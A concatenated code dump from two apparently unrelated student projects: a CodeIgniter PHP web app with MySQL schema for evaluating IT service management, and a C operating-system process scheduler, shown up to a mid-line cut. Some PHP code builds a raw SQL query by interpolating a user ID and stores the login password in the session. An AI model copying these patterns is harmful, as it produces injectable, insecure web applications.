`jawaban` ADD PRIMARY KEY (`id_jawaban`), ADD KEY `id_user` (`id_user`), ADD KEY `id_periode` (`id_periode`), ADD KEY `id_maturity` (`id_maturity`), ADD KEY `id_kuesioner` (`id_kuesioner`); -- -- Indexes for table `kuesioner` -- ALTER TABLE `kuesioner` ADD PRIMARY KEY (`id_kuesioner`), ADD KEY `id_co` (`id_co`); -- -- Indexes for table `level` -- ALTER TABLE `level` ADD PRIMARY KEY (`id_level`); -- -- Indexes for table `maturity` -- ALTER TABLE `maturity` ADD PRIMARY KEY (`id_maturity`); -- -- Indexes for table `nilai_harapan` -- ALTER TABLE `nilai_harapan` ADD PRIMARY KEY (`id_nilai`), ADD KEY `nilai_harapan` (`id_maturity`); -- -- Indexes for table `periode` -- ALTER TABLE `periode` ADD PRIMARY KEY (`id_periode`); -- -- Indexes for table `service` -- ALTER TABLE `service` ADD PRIMARY KEY (`id_service`); -- -- Indexes for table `user` -- ALTER TABLE `user` ADD PRIMARY KEY (`id_user`), ADD KEY `id_level` (`id_level`); -- -- AUTO_INCREMENT for dumped tables -- -- -- AUTO_INCREMENT for table `hasil_rekomendasi` -- ALTER TABLE `hasil_rekomendasi` MODIFY `id_rekomendasi` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=19; -- -- AUTO_INCREMENT for table `jawaban` -- ALTER TABLE `jawaban` MODIFY `id_jawaban` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=4615; -- -- AUTO_INCREMENT for table `level` -- ALTER TABLE `level` MODIFY `id_level` int(1) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=4; -- -- AUTO_INCREMENT for table `nilai_harapan` -- ALTER TABLE `nilai_harapan` MODIFY `id_nilai` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=2; -- -- AUTO_INCREMENT for table `user` -- ALTER TABLE `user` MODIFY `id_user` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=21; -- -- Constraints for dumped tables -- -- -- Constraints for table `control` -- ALTER TABLE `control` ADD CONSTRAINT `control_ibfk_1` FOREIGN KEY (`id_service`) REFERENCES `service` (`id_service`); -- -- Constraints for table `jawaban` -- ALTER TABLE `jawaban` ADD CONSTRAINT `jawaban_ibfk_1` FOREIGN KEY (`id_kuesioner`) REFERENCES `kuesioner` (`id_kuesioner`), ADD CONSTRAINT `jawaban_ibfk_10` FOREIGN KEY (`id_user`) REFERENCES `user` (`id_user`) ON DELETE CASCADE ON UPDATE CASCADE, ADD CONSTRAINT `jawaban_ibfk_5` FOREIGN KEY (`id_periode`) REFERENCES `periode` (`id_periode`) ON DELETE CASCADE ON UPDATE CASCADE, ADD CONSTRAINT `jawaban_ibfk_9` FOREIGN KEY (`id_maturity`) REFERENCES `maturity` (`id_maturity`); -- -- Constraints for table `kuesioner` -- ALTER TABLE `kuesioner` ADD CONSTRAINT `kuesioner_ibfk_1` FOREIGN KEY (`id_co`) REFERENCES `control` (`id_co`); -- -- Constraints for table `nilai_harapan` -- ALTER TABLE `nilai_harapan` ADD CONSTRAINT `nilai_harapan_ibfk_1` FOREIGN KEY (`id_maturity`) REFERENCES `maturity` (`id_maturity`); -- -- Constraints for table `user` -- ALTER TABLE `user` ADD CONSTRAINT `user_ibfk_1` FOREIGN KEY (`id_level`) REFERENCES `level` (`id_level`); /*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */; /*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */; /*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */; <file_sep><?php defined('BASEPATH') OR exit('No direct script access allowed'); class m_control extends CI_Model { public function __construct() { parent::__construct(); } public function getControl() { $this->db->select('*'); $this->db->from('control'); $data = $this->db->get(); return $data->result(); } public function add_control($id_co, $control, $area, $ket_control){ $query = array( 'id_co' => $id_co, 'control' => $control, 'area' => $area, 'ket_control' => $ket_control, 'id_service' => 's1', ); $this->db->insert('control', $query); } public function get_edit_control($id_co){ $this->db->select('*'); $this->db->from('control'); $this->db->where('id_co', $id_co); $data = $this->db->get(); return $data->result_array(); } public function edit_control($id_co, $control, $area, $ket_control){ $this->db->set('id_co', $id_co); $this->db->set('control', $control); $this->db->set('area', $area); $this->db->set('ket_control', $ket_control); $this->db->where('id_co', $id_co); $this->db->update('control'); } public function delete_control($id_co){ $this->db->delete('control', array('id_co' => $id_co)); } } <file_sep><?php defined('BASEPATH') OR exit('No direct script access allowed'); class m_maturity extends CI_Model { public function __construct() { parent::__construct(); } public function getMaturity() { $this->db->select('*'); $this->db->from('maturity'); $this->db->where('id_maturity = 1 or id_maturity = 2 or id_maturity = 3 or id_maturity = 4 or id_maturity = 5'); $data = $this->db->get(); return $data->result(); } public function add_maturity($level, $maturity, $ket){ $query = array( 'id_maturity' => 'null', 'level' => $level, 'maturity' => $maturity, 'ket' => $ket, ); $this->db->insert('maturity', $query); } public function get_edit_maturity($id_maturity){ $this->db->select('*'); $this->db->from('maturity'); $this->db->where('id_maturity', $id_maturity); $data = $this->db->get(); return $data->result_array(); } public function edit_maturity($id_maturity, $level, $maturity, $ket){ $this->db->set('level', $level); $this->db->set('maturity', $maturity); $this->db->set('ket', $ket); $this->db->where('id_maturity', $id_maturity); $this->db->update('maturity'); } public function delete_maturity($id_maturity){ $this->db->delete('maturity', array('id_maturity' => $id_maturity)); } } <file_sep><?php defined('BASEPATH') OR exit('No direct script access allowed'); class m_kuesioner extends CI_Model { public function __construct() { parent::__construct(); } public function getKuesioner() { $this->db->select('*'); $this->db->from('kuesioner'); $this->db->join('control', 'control.id_co = kuesioner.id_co'); $data = $this->db->get(); return $data->result(); } public function control(){ $this->db->select('*'); $this->db->from('control'); $data = $this->db->get(); return $data->result(); } public function add_kuesioner($id_kuesioner, $kuesioner, $id_co){ $query = array( 'id_kuesioner' => $id_kuesioner, 'kuesioner' => $kuesioner, 'id_co' => $id_co, ); $this->db->insert('kuesioner', $query); } public function get_edit_kuesioner($id_kuesioner){ $this->db->select('*'); $this->db->from('kuesioner'); $this->db->join('control', 'control.id_co = kuesioner.id_co'); $this->db->where('id_kuesioner', $id_kuesioner); $data = $this->db->get(); return $data->result_array(); } public function edit_kuesioner($id_kuesioner, $kuesioner ,$id_co){ $this->db->set('id_kuesioner', $id_kuesioner); $this->db->set('kuesioner', $kuesioner); $this->db->set('id_co', $id_co); $this->db->where('id_kuesioner', $id_kuesioner); $this->db->update('kuesioner'); } public function delete_kuesioner($id_kuesioner){ $this->db->delete('kuesioner', array('id_kuesioner' => $id_kuesioner)); } } <file_sep><?php defined('BASEPATH') OR exit('No direct script access allowed'); class hasil extends CI_Controller { public function __construct() { parent::__construct(); $this->load->helper('url'); $this->load->helper('form'); $this->load->library('session'); $this->load->model('m_hasil'); } public function index() { $data = $this->m_hasil->getPeriode(); $this->load->view('header'); $this->load->view('view_hasil', array('mydata' => $data)); } public function view_hasil_final($id_periode) { $data = $this->m_hasil->get_hasil_final($id_periode); $datas = $this->m_hasil->get_rata_final($id_periode); $datass = $this->m_hasil->get_hasil_co($id_periode); $datasss = $this->m_hasil->get_nilai_harapan($id_periode); $this->load->view('header'); $this->load->view('view_hasil_final', array('mydata' => $data, 'mydatas' => $datas, 'mydatass' => $datass, 'mydatasss' => $datasss)); } public function view_detail_co($id_co) { $data = $this->m_hasil->get_detail_co($id_co); $this->load->view('header'); $this->load->view('view_detail_co', array('mydata' => $data)); } public function view_detail_maturity($id_maturity) { $data = $this->m_hasil->get_maturity($id_maturity); $this->load->view('header'); $this->load->view('view_detail_maturity', array('mydata' => $data)); } } <file_sep><?php defined('BASEPATH') OR exit('No direct script access allowed'); class m_service extends CI_Model { public function __construct() { parent::__construct(); } public function getService() { $this->db->select('*'); $this->db->from('service'); $data = $this->db->get(); return $data->result(); } public function add_service($id_service, $nama_service, $ket_service){ $query = array( 'id_service' => $id_service, 'nama_service' => $nama_service, 'ket_service' => $ket_service, ); $this->db->insert('service', $query); } public function get_edit_service($id_service){ $this->db->select('*'); $this->db->from('service'); $this->db->where('id_service', $id_service); $data = $this->db->get(); return $data->result_array(); } public function edit_service($id_service, $nama_service, $ket_service){ $this->db->set('id_service', $id_service); $this->db->set('nama_service', $nama_service); $this->db->set('ket_service', $ket_service); $this->db->where('id_service', $id_service); $this->db->update('service'); } public function delete_service($id_service){ $this->db->delete('service', array('id_service' => $id_service)); } } <file_sep><?php defined('BASEPATH') OR exit('No direct script access allowed'); class maturity extends CI_Controller { public function __construct() { parent::__construct(); $this->load->helper('url'); $this->load->helper('form'); $this->load->library('session'); $this->load->model('m_maturity'); } public function index() { $data = $this->m_maturity->getMaturity(); $this->load->view('header'); $this->load->view('view_maturity', array('mydata' => $data)); } public function form_add_maturity() { $this->load->view('header'); $this->load->view('view_maturity_create'); } public function add_maturity(){ if ('submit'){ $level = $_POST['level']; $maturity = $_POST['maturity']; $ket = $_POST['ket']; // $id_level = $_POST['id_level']; $this->m_maturity->add_maturity($level, $maturity, $ket); redirect('maturity'); } } public function form_edit_maturity($id_maturity) { $data = $this->m_maturity->get_edit_maturity($id_maturity); $this->load->view('header'); $this->load->view('view_maturity_edit', array('datas' => $data)); } public function edit_maturity($id_maturity){ if ('update'){ $level = $_POST['level']; $maturity = $_POST['maturity']; $ket = $_POST['ket']; $this->m_maturity->edit_maturity($id_maturity, $level, $maturity, $ket); redirect('maturity'); } } public function delete_maturity($id_maturity){ $this->m_maturity->delete_maturity($id_maturity); redirect('maturity'); } public function view_maturity_level() { $data = $this->m_maturity->getMaturity(); $this->load->view('header'); $this->load->view('view_maturity_level', array('mydata' => $data)); } } <file_sep><?php defined('BASEPATH') OR exit('No direct script access allowed'); class login extends CI_Controller { public function __construct() { parent::__construct(); $this->load->helper('url'); $this->load->helper('form'); $this->load->library('session'); $this->load->model('m_login'); } public function index() { $this->load->view('view_login'); } public function login(){ if('login') { $username = $_POST['username']; $password = $_POST['password']; $detail = $this->m_login->getLevel($username, $password); $cek = $this->m_login->getLogin($username, $password); if($cek > 0){ $_SESSION['id_user'] = $detail[0]['id_user']; $_SESSION['jabatan'] = $detail[0]['jabatan']; $_SESSION['login'] = TRUE; $_SESSION['password'] = <PASSWORD>; $_SESSION['username'] = $username; $_SESSION['level'] = $detail[0]['id_level']; $this->session->set_flashdata('error', 'Anda Berhasil Login'); echo '<script type="text/javascript">alert("Anda Berhasil Login!.")</script>'; redirect('/dashboard'); } else { $this->session->set_flashdata('error', 'Data tidak Valid'); echo '<script type="text/javascript">alert("Login Gagal!.")</script>';; redirect('/login'); } } } public function logout(){ session_destroy(); redirect(base_url()); } } <file_sep><!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=Edge"> <meta content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no" name="viewport"> <title>Sistem Evaluasi Manajemen Layanan Teknologi Informasi</title> <!-- Favicon--> <link rel="icon" href="favicon.ico" type="image/x-icon"> <!-- Font Icon --> <script src="<?php echo base_url().'assets/'; ?>js/jquery-3.2.1.slim.js" integrity="<KEY> crossorigin="anonymous"></script> <link href="https://fonts.googleapis.com/icon?family=Material+Icons" rel="stylesheet" type="text/css"> <link href="<?php echo base_url().'assets/'; ?>plugins/aos-animation/aos.css" rel="stylesheet"> <!-- Custom Css --> <link href="<?php echo base_url().'assets/'; ?>css/main.css" rel="stylesheet"> <!-- themes Css --> <link href="<?php echo base_url().'assets/'; ?>css/themes/all-themes.css" rel="stylesheet" /> <link href="<?php echo base_url().'assets/'; ?>plugins/waitme/waitMe.css" rel="stylesheet" /> <!-- Bootstrap Select Css --> <link href="<?php echo base_url().'assets/'; ?>plugins/bootstrap-select/css/bootstrap-select.css" rel="stylesheet" /> <!-- AdminCC You can choose a theme from css/themes instead of get all themes --> <link href="<?php echo base_url().'assets/'; ?>css/themes/all-themes.css" rel="stylesheet" /> <link href="<?php echo base_url().'assets/'; ?>css/hm-style.css" rel="stylesheet" /> <link href="<?php echo base_url().'assets/'; ?>plugins/sweetalert/sweetalert.css" rel="stylesheet" /> </head> <?php $level = $_SESSION['level']; $jabatan = $_SESSION['jabatan']; if($level == 1 ) { ?> <body class="theme-green"> <!-- Page Loader --> <div class="page-loader-wrapper"> <div class="loader"> <div class="preloader"> <div class="spinner-layer pl-red"> <div class="circle-clipper left"> <div class="circle"></div> </div> <div class="circle-clipper right"> <div class="circle"></div> </div> </div> </div> <p>Please wait...</p> </div> </div> <!-- Overlay For Sidebars --> <div class="overlay"></div> <!-- Top Bar --> <nav class="navbar"> <div class="container-fluid"> <div class="navbar-header"> <a href="javascript:void(0);" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar-collapse" aria-expanded="false"></a> <a href="javascript:void(0);" class="bars"></a> <a class="navbar-brand" href="index.html">SISTEM EVALUASI MANAJEMEN LAYANAN TI</a> </div> <div class="collapse navbar-collapse" id="navbar-collapse"> <ul class="nav navbar-nav navbar-right"> <!-- <li><a href="<?php echo base_url()."index.php/login/logout"; ?>" class="mega-menu" data-close="true">Logout <i class="material-icons">input</i></a></li> --> <li><?php echo '<button onclick="logout(\'Anda Yakin ingin logout ?\', \' '.base_url('index.php/login/logout/').'/login\')" class="btn btn-raised bg-white btn-block btn-xs waves-effect" type="button">Logout <i class="material-icons">input</i></button>'; ?> </li> </ul> </div> </div> </nav> <!-- Left & Right bar menu --> <section> <!-- Left Sidebar --> <aside id="leftsidebar" class="sidebar"> <!-- User Info --> <div class="user-info"> <div class="image"> <img src="<?php echo base_url().'assets/'; ?>images/random-avatar1.jpg" width="48" height="48" alt="User" /> </div> <div class="info-container"> <div class="name" data-toggle="dropdown"><NAME></div> <div class="email"><?php echo $jabatan ?></div> <div class="btn-group user-helper-dropdown"> <i class="material-icons" data-toggle="dropdown" aria-haspopup="true" aria-expanded="true">keyboard_arrow_down</i> </div> </div> </div> <!-- #User Info --> <!-- Menu --> <div class="menu"> <ul class="list"> <li class="header">MENU NAVIGATION</li> <li class="active open"> <a href="<?php echo base_url('index.php/dashboard'); ?>" ><i class="material-icons">home</i><span>Dashboard</span></a></li> <li> <a href="<?php echo base_url('index.php/user'); ?>" ><i class="material-icons">assignment_ind</i><span>User</span></a></li> <li> <a href="<?php echo base_url('index.php/service'); ?>" ><i class="material-icons">cached</i><span>Lifecycle Service</span></a></li> <li> <a href="<?php echo base_url('index.php/control'); ?>" ><i class="material-icons">pie_chart</i><span>Kontrol Objektif</span></a></li> <li> <a href="<?php echo base_url('index.php/maturity'); ?>" ><i class="material-icons">format_list_numbered</i><span>Maturity Level</span></a></li> <li> <a href="<?php echo base_url('index.php/kuesioner'); ?>" ><i class="material-icons">description</i><span>Kuesioner</span></a></li> <li> <a href="<?php echo base_url('index.php/periode'); ?>" ><i class="material-icons">date_range</i><span> Periode</span></a></li> <li> <a href="<?php echo base_url('index.php/rekomendasi'); ?>" ><i class="material-icons">assignment_turned_in</i><span>Rekomendasi</span></a></li> </ul> </div> <!-- #Menu --> </aside> <!-- Right Sidebar --> </section> <?php } else if ($level == 2 ) { ?> <body class="theme-blush index2"> <!-- Page Loader --> <div class="page-loader-wrapper"> <div class="loader"> <div class="preloader"> <div class="spinner-layer pl-cyan"> <div class="circle-clipper left"> <div class="circle"></div> </div> <div class="circle-clipper right"> <div class="circle"></div> </div> </div> </div> <p>Please wait...</p> </div> </div> <!-- Overlay For Sidebars --> <div class="overlay"></div> <!-- Top Bar --> <nav class="navbar"> <div class="container-fluid"> <div class="navbar-header"> <a href="javascript:void(0);" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar-collapse" aria-expanded="false"></a> <a href="javascript:void(0);" class="h-bars"></a> <a class="navbar-brand" href="index.html">SISTEM EVALUASI MANAJEMEN LAYANAN TEKNOLOGI INFORMASI</a> </div> <div class="collapse navbar-collapse" id="navbar-collapse"> <ul class="nav navbar-nav navbar-right"> <li><a href="<?php echo base_url()."index.php/login/logout"; ?>" class="mega-menu" data-close="true"><?php echo $jabatan ?> , Logout <i class="zmdi zmdi-power"></i></a></li> </ul> </div> </div> </nav> <div class="menu-container"> <div class="menu"> <ul> <li><a href="<?php echo base_url('index.php/dashboard'); ?>">Dashboard</a></li> <li><a href="<?php echo base_url('index.php/itil'); ?>"><i class="zmdi zmdi-copy"></i> IT Infrastructure Library</a></li> <li><a href="<?php echo base_url('index.php/maturity/view_maturity_level'); ?>"><i class="zmdi zmdi-assignment-o"></i> Maturity Level</a></li> <?php $periode = $this->session->userdata('periode'); if($periode) { ?> <li><a href="<?php echo base_url('index.php/isi'); ?>"><i class="zmdi zmdi-assignment"></i> Kuesioner</a></li> <?php } ?> </ul> </div> </div> <?php } else if ($level == 3 ) { ?> <body class="theme-cyan index2"> <!-- Page Loader --> <div class="page-loader-wrapper"> <div class="loader"> <div class="preloader"> <div class="spinner-layer pl-cyan"> <div class="circle-clipper left"> <div class="circle"></div> </div> <div class="circle-clipper right"> <div class="circle"></div> </div> </div> </div> <p>Please wait...</p> </div> </div> <!-- Overlay For Sidebars --> <div class="overlay"></div> <!-- Top Bar --> <nav class="navbar"> <div class="container-fluid"> <div class="navbar-header"> <a href="javascript:void(0);" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar-collapse" aria-expanded="false"></a> <a href="javascript:void(0);" class="h-bars"></a> <a class="navbar-brand" href="index.html">SISTEM EVALUASI MANAJEMEN LAYANAN TEKNOLOGI INFORMASI</a> </div> <div class="collapse navbar-collapse" id="navbar-collapse"> <ul class="nav navbar-nav navbar-right"> <li><a href="<?php echo base_url()."index.php/login/logout"; ?>" class="mega-menu" data-close="true"><?php echo $jabatan ?> , Logout <i class="zmdi zmdi-power"></i></a></li> </ul> </div> </div> </nav> <div class="menu-container"> <div class="menu"> <ul> <li><a href="<?php echo base_url('index.php/dashboard'); ?>">Dashboard</a></li> <li> <a href="<?php echo base_url('index.php/itil'); ?>" ><i class="material-icons">filter_none</i><span> IT Infrastructure Library</span></a></li> <li><a href="<?php echo base_url('index.php/nilai'); ?>"><i class="zmdi zmdi-assignment-o"></i> Nilai Yang Diharapkan</a></li> <li> <a href="<?php echo base_url('index.php/hasil'); ?>" ><i class="material-icons">assignment</i><span> Hasil Evaluasi</span></a></li> <li> <a href="<?php echo base_url('index.php/rekomendasi/view_rekomendasi_hasil'); ?>" ><i class="material-icons">assignment_turned_in</i><span> Rekomendasi</span></a></li> </ul> </div> </div> <?php } ?> <file_sep><?php defined('BASEPATH') OR exit('No direct script access allowed'); class m_isi extends CI_Model { public function __construct() { parent::__construct(); } public function getIsi($id_co) { $this->db->select('*'); $this->db->from('kuesioner'); $this->db->join('control', 'control.id_co = kuesioner.id_co'); $this->db->where('kuesioner.id_co', $id_co); $data = $this->db->get(); return $data->result(); } public function getPilih($id) { $data = $this->db->query("SELECT * FROM control c LEFT JOIN kuesioner k ON c.id_co = k.id_co LEFT JOIN jawaban j ON k.id_kuesioner = j.id_kuesioner WHERE j.id_maturity = 0 AND j.id_user = '$id' GROUP BY c.id_co"); print_r($id); return $data->result_array(); } public function maturity(){ $this->db->select('*'); $this->db->from('maturity'); $this->db->where('id_maturity = 1 or id_maturity = 2 or id_maturity = 3 or id_maturity = 4 or id_maturity = 5'); $data = $this->db->get(); return $data->result(); } public function storeData($store, $id){ try { $this->db->where('id_user', $id); $this->db->update_batch('jawaban', $store, 'id_kuesioner'); return true; } catch (Exception $e) { return false; } $query = array( 'id_status' => 1); $this->db->insert('jawaban', $query); } }
bddb541b5f4fd96393947819b91ed6afb520fa85
[ "SQL", "PHP" ]
28
PHP
avrillianz/service-design-ITIL
303f95e856829a10aa5ea1062d36288c9bb1aea5
5779e2c463d613c846deda59641002aa95e1c9f4
refs/heads/main
<repo_name>YousefAtefB/OS_Scheduler<file_sep>/process_generator.c #include "headers.h" #include "datastructures/generatorQueue.c" #include <string.h> void clearResources(int); struct msgbuff { long mtype; struct process p; }; int msgqid; // upper bound to the number of processes (recieved from the process_generator which in fact is the number of processes in the input file) int total_num_pro; int main(int argc, char *argv[]) { signal(SIGINT, clearResources); msgqid = msgget(1, IPC_CREAT | 0666); if (msgqid == -1) { perror("Error in create"); exit(-1); } printf("msgqid = %d\n", msgqid); struct queue *q; q = malloc(sizeof(struct queue)); initialize(q); // 1. Read the input files. FILE *inFile = fopen(argv[1], "r"); if (inFile == NULL) { printf("Error! Could not open file\n"); exit(-1); } struct stat sb; if (stat(argv[1], &sb) == -1) { perror("stat"); exit(EXIT_FAILURE); } char *buff = malloc(sb.st_size); while (fscanf(inFile, "%s", buff) != EOF) { if (buff[0] == '#') { fscanf(inFile, "%[^\n] ", buff); } else { total_num_pro++; struct process *p1 = malloc(sizeof(struct process)); p1->id = atoi(buff); fscanf(inFile, "%s", buff); p1->arrival = atoi(buff); fscanf(inFile, "%s", buff); p1->runtime = atoi(buff); fscanf(inFile, "%s", buff); p1->priority = atoi(buff); fscanf(inFile, "%s", buff); p1->memsize = atoi(buff); enqueue(q, p1); } } fclose(inFile); // display(q->front); // 2. Read the chosen scheduling algorithm and its parameters, if there are any from the argument list. int num_parms=argc+2; char **parms; parms = malloc(num_parms * sizeof(char *)); //all arguments passed to the funcion for(int i=0;i<num_parms;i++) parms[i] = malloc(50 * sizeof(char)); int i=0; parms[i++] = "./scheduler.out"; parms[i++] = argv[3]; if(argv[3][0]=='5') parms[i++] = argv[5]; sprintf(parms[i++],"%d",total_num_pro); parms[i++] = NULL; // 3. Initiate and create the scheduler and clock processes. int *PID; PID = (int *)malloc(2 * sizeof(int)); for (int i = 0; i < 2; i++) { PID[i] = fork(); if (PID[i] == -1) { printf("Error In Forking\n"); } else if (PID[i] == 0) { if (i == 1) { // printf("I'm schedular, My process ID is %d, my parent ID : %d \n", getpid(), getppid()); execv("./scheduler.out", parms); } else { // printf("I'm clock, My process ID is %d, my parent ID : %d \n", getpid(), getppid()); execl("./clk.out", "./clk.out", NULL); } } } // 4. Use this function after creating the clock process to initialize clock. initClk(); // 5. Create a data structure for processes and provide it with its parameters. //done before // 6. Send the information to the scheduler at the appropriate time. int x = getClk(); // printf("Current Time is %d\n", x); while (!(isempty(q))) { int temp = getClk(); if (temp != x) { x = temp; // printf("Current Time is %d\n", x); // display(q->front); } int t = q->front->proc->arrival; if(t <= x) { //now starting to send the process to the scheduler int send_val; struct msgbuff message; // printf("Dequeuing ...\n"); struct process* temp = dequeue(q); printf("\ngenerator: sending id=%d memsize=%d\n",temp->id,temp->memsize); message.p.id=temp->id;message.p.arrival=temp->arrival; message.p.runtime=temp->runtime;message.p.priority=temp->priority; message.p.memsize=temp->memsize; message.mtype=1; send_val = msgsnd(msgqid, &message, sizeof(message.p), !IPC_NOWAIT); if (send_val == -1) { perror("Errror in send"); } } } // send message indicates that all has arrived (message with id =-1) struct msgbuff message; message.p.id=-1; message.mtype=1; printf("\ngenerator: sending id=%d\n",message.p.id); msgsnd(msgqid, &message, sizeof(message.p), !IPC_NOWAIT); while(true); // 7. Clear clock resources destroyClk(false); return 0; } void clearResources(int signum) { //TODO Clears all resources in case of interruption msgctl(msgqid,IPC_RMID,(struct msqid_ds*)0); printf("\ngenerator: terminating\n"); destroyClk(true); exit(0); } <file_sep>/datastructures/schedulerQueue.c #include<stdio.h> #include<stdlib.h> #include"../headers.h" typedef struct node node; typedef struct queue queue; //__________________________________________________ struct node { int data; node *nxt; }; void node_init(node* n,int x) { n->data=x; n->nxt=NULL; } //__________________________________________________ struct queue { node *front, *rear; }; queue* queue_init() { queue *q =malloc(sizeof(queue)); q->front=q->rear=NULL; return q; } void queue_push(queue *q,int x) { node *temp=malloc(sizeof(node)); node_init(temp,x); if(q->rear==NULL) { q->front=q->rear=temp; return; } q->rear->nxt=temp; q->rear=temp; } void queue_pop(queue *q) { node *temp=q->front; q->front=q->front->nxt; if(q->front==NULL) q->rear=NULL; free(temp); } int queue_front(queue * q) { return q->front->data; } bool queue_empty(queue * q) { return q->rear==NULL; } //this function free the queue void queue_destroy(queue*q) { free(q); } // int main() // { // queue *q = queue_init(); // queue_push(q,1); // queue_push(q,44); // queue_push(q,12); // queue_push(q,71); // for(int i=0;i<4;i++) // { // printf("%d\n",queue_front(q)); // queue_pop(q); // } // free(q); // }<file_sep>/scheduler.c #include "headers.h" #include "string.h" #include "datastructures/schedulerQueue.c" #include "datastructures/Min-Heap.c" #include <errno.h> // algorithms #define FCFS 1 #define SJF 2 #define HPF 3 #define SRTN 4 #define RR 5 // states #define ARRIVED 0 #define STARTED 1 #define STOPPED 2 #define RESUMED 3 #define FINISHED 4 //this integer indicates the algorithm currently being used int algo_typ; //this integer is the id of the current running process int cur_pro = -1; //the quantum specifies for each process in round robin int quantum = 0; //the time left for the current running process to be preempted (remaining quantum time) int cur_pro_quantum = 0; // upper bound to the number of processes (recieved from the process_generator which in fact is the number of processes in the input file) int total_num_pro; // queue to hold the id of the arrived processes in case of alogrithm type fcfs queue *q; // heap used as datastructure that holds the processes sorted based on some criteria Min_Heap *heap; // struct represent one element of the pcb struct pcb_node { int pid; int arrival_time; int running_time; int priority; int remaining_time; // to avoid updating all the processes in the waiting list we can calculate this using // waiting_time = (current clock-arrival_time)-(running_time-remaining_time) int Turn_around_time; int waiting_time; //we can make it only by Turn_around time - running time; int state; int memsize; }; typedef struct pcb_node pcb_node; // the pcb pcb_node **pcb; // structs used to recieve element from the process generator through the msgqueue struct process { int id; int arrival; int runtime; int priority; int memsize; }; struct msgbuff { long mtype; struct process p; }; //the msg queue used to communicate with the generator int msgqid; // the .log file that is used to write in it the scheduling flow FILE *log_out; FILE *log_out_pref; //allocate: mem.log file FILE *log_mem; // indicates that all processes arrived bool allarrived; // keep track of number of processes in pcb int total_in_pcb; //some global variables using in .pref double Weighted_Turnaround_time = 0; double Waiting = 0; double running_process = 0; //allocate:allocation waiting list int allo_wait; //allocate:boolean deterimines if some process have recently finished bool some_finished; // OUTPUT NOTE: whenever you encounter ___________print___________ means we should output to file here void initialize(); void arrived(); void schedule(); bool timestep(); void printstate(int id); void print_pref(); void clearResources(int signum); void insert_pro(struct process temp); void check_allo_wait(); int main(int argc, char *argv[]) { signal(SIGINT, clearResources); printf("\nscheduler: welcome to the scheduler %d\n", getpid()); // reading the algorithm type from command line algo_typ = atoi(argv[1]); // reading the quantum used in algo 5 if (algo_typ == 5) quantum = atoi(argv[2]); // reading the total number of processes (upper bound to the number of processes) total_num_pro = algo_typ == 5 ? atoi(argv[3]) : atoi(argv[2]); printf("\nscheduler:algo_type=%d total_pro=%d\n", algo_typ, total_num_pro); initClk(); //TODO: implement the scheduler. //TODO: upon termination release the clock resources. initialize(); while (!allarrived || total_in_pcb) { arrived(); schedule(); timestep(); check_allo_wait(); fflush(stdout); } print_pref(); printf("\nscheduler: closing allarriver=%d total_in_pcb=%d \n", allarrived, total_in_pcb); clearResources(0); } //this function is responsible for initializing the scheduler, recieving the algorithm type and the number of proccesses void initialize() { // initializing the out pcb pcb = malloc(sizeof(pcb_node *) * (total_num_pro + 1)); //getting the id of the msgqueue used to communicate with the generator msgqid = msgget(1, IPC_CREAT | 0666); printf("\nscheduler: msgqid=%d\n", msgqid); // initialize the blocks with null for (int i = 0; i <= total_num_pro; i++) pcb[i] = NULL; // intialize the chosen algo switch (algo_typ) { case FCFS: case RR: // intializing a queue used in the algo q = queue_init(); break; case SJF: case HPF: case SRTN: // intializing a heap used in the algo heap = Min_Heap_init(total_num_pro); break; } // intializing the log file printf("\nscheduler: comment in log\n"); log_out = fopen("scheduler.log", "w"); fprintf(log_out, "#At\ttime\tx\tprocess\ty\tstate\tarr\tw\ttotal\tz\tremain\ty\twait\tk\n"); fflush(log_out); //allocate: initialize allocation waiting list // allocate: initiazlize mem file log_mem=fopen("memory.log","w"); fprintf(log_mem,"#At\ttime\tx\tallocated\ty\tbytes\tfor process\tz\tfrom\ti\tto\tj\n"); fflush(log_mem); } // this function is responsible for recieving processes from the proccess_generator,fork it, store it in the pcb and put its id in the // datastructure of the algorithm void arrived() { // recieving processes while (!allarrived) { struct msgbuff message; errno = 0; //getting a process from generator through msg queue msgrcv(msgqid, &message, sizeof(message.p), 0, IPC_NOWAIT); if (errno == ENOMSG) break; if (message.p.id == -1) { printf("\nscheduler:scheduler all arrived\n"); message.mtype = 10; msgsnd(msgqid, &message, sizeof(message.p), !IPC_NOWAIT); allarrived = 1; return; } printf("\nscheduler: recieved id=%d and memsize=%d\n", message.p.id,message.p.memsize); total_in_pcb++; struct process temp = message.p; // allocate:check if we can allocate the process insert_pro(temp); } } // allocate: this function traverse the allocation waiting list and allocate the oldest processes that can be allocated void check_allo_wait() { if(some_finished==false)return; some_finished=false; } void insert_pro(struct process temp) { // making a new block for the process pcb[temp.id] = malloc(sizeof(pcb_node)); // inserting the process into the pcb pcb[temp.id]->arrival_time = temp.arrival; pcb[temp.id]->running_time = temp.runtime; pcb[temp.id]->priority = temp.priority; pcb[temp.id]->remaining_time = temp.runtime; pcb[temp.id]->waiting_time = 0; pcb[temp.id]->state = ARRIVED; pcb[temp.id]->memsize=temp.memsize; printf("\nscheduler: print arrived\n"); //___________print___________ // printstate(temp.id); printf("\nscheduler: forking\n"); int pid = fork(); if (pid == 0) { char str_id[10], str_running_time[10]; sprintf(str_id, "%d", temp.id); sprintf(str_running_time, "%d", temp.runtime); // swap the child with the process code and send it its id execl("./process.out", "./process.out", str_id, str_running_time, NULL); } pcb[temp.id]->pid = pid; // stop the signal after forking it so it won't start right away kill(pid, SIGSTOP); // insert the process id inside the algorithm datastructure switch (algo_typ) { case FCFS: case RR: queue_push(q, temp.id); break; case SJF: //here we insert the id of the process and the data that we want to sort based on it Min_Heap_add(heap, temp.id, temp.runtime); break; case HPF: //here we insert the id of the process and the data that we want to sort based on it Min_Heap_add(heap, 